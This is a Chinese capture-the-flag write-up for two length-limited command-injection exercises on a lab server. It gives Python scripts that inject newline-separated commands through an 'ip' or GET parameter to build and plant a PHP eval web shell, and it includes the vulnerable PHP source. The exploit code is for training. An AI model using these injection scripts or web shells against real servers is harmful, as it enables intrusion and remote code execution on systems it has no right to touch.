自有平台的命令执行基础练习题wp
exec2:13位可控
先试着提交几个。
# ip=127.0.0.1%0als /
flag_sGtVHR6EH6fZVewGaUdCDNIs7P3DXZg9
# ip=0.0.0.0%0a12345678901234
22ip 长度错误!
那么就开始在13个可控下写shell,echo -n {}<>>1,准确的说只有1个字符可以控制。写入后在根目录找到flag。
import requests
url = "http://10.154.7.128:28657/exec.php"
payload = "echo '<?php @eval($_POST[1]);?>' > 1.php " #后面的空格一定要有,没有就不行。。。我也不知道为什么。。
for i in payload:
data = {"ip":"0.0.0.0\necho -n \\{}>>1".format(i)} #python里%0a会被url编码,可以用\n,会自动转成%0a。转义符不能少。
res = requests.post(url,data=data)
print(data,res.text)
print ("[*] bash shell upload successful!")
#检查一下
data={"ip":"0.0.0.0;cat 1"}
res=requests.post(url,data=data)
print(res.text)
data={"ip":"0.0.0.0;bash 1"}
res=requests.post(url,data=data)
shell="http://10.154.7.128:28657/1.php"
res=requests.get(shell)
if res.status_code == 200:
print ("[*] get shell successful")
exec3:7位可控
题目源码
<?php
if(isset($_GET[1])){
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
}
else{
show_source(__FILE__);
}
?>
不够长度写内容,只能写文件名然后ls -t倒序排序。
连接文件名的时候注意给末尾留个\的位置
import requests,base64
PORT = 28014
url = "http://10.154.7.128:{}/exec.php?1={}"
payload = str(base64.b64encode(b'<?php eval($_GET[2]);'))[2:-1]
payload = "echo {}|base64 -d>12.php".format(payload) #因为用1.php刚好会断在.开头,变成隐藏文件……所以用12.php
payload = payload+' '*(3-len(payload)%3) if len(payload)%3 else payload
print(payload)
print("[+]start attack!!!")
for i in range(len(payload),0,-3):
shell = payload[i-3:i].replace(' ','\\ ').replace('|','\\|').replace('>','\\>')
shell = '>'+shell+'\\' if i!=len(payload) else '>'+shell #直接ls会有换行符。每一句末尾加个\表示未结束,换行继续写。
requests.get(url.format(PORT,shell))
print("[*]" + url.format(PORT,shell))
res = requests.get(url.format(PORT,'ls -t>0'))
#res = requests.get(url.format(PORT,'cat 0'))
#print("[*]" + res.text)
requests.get(url.format(PORT,'sh 0'))
try:
test = requests.get("http://10.154.7.128:{}/12.php".format(PORT))
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
except:
pass
网友评论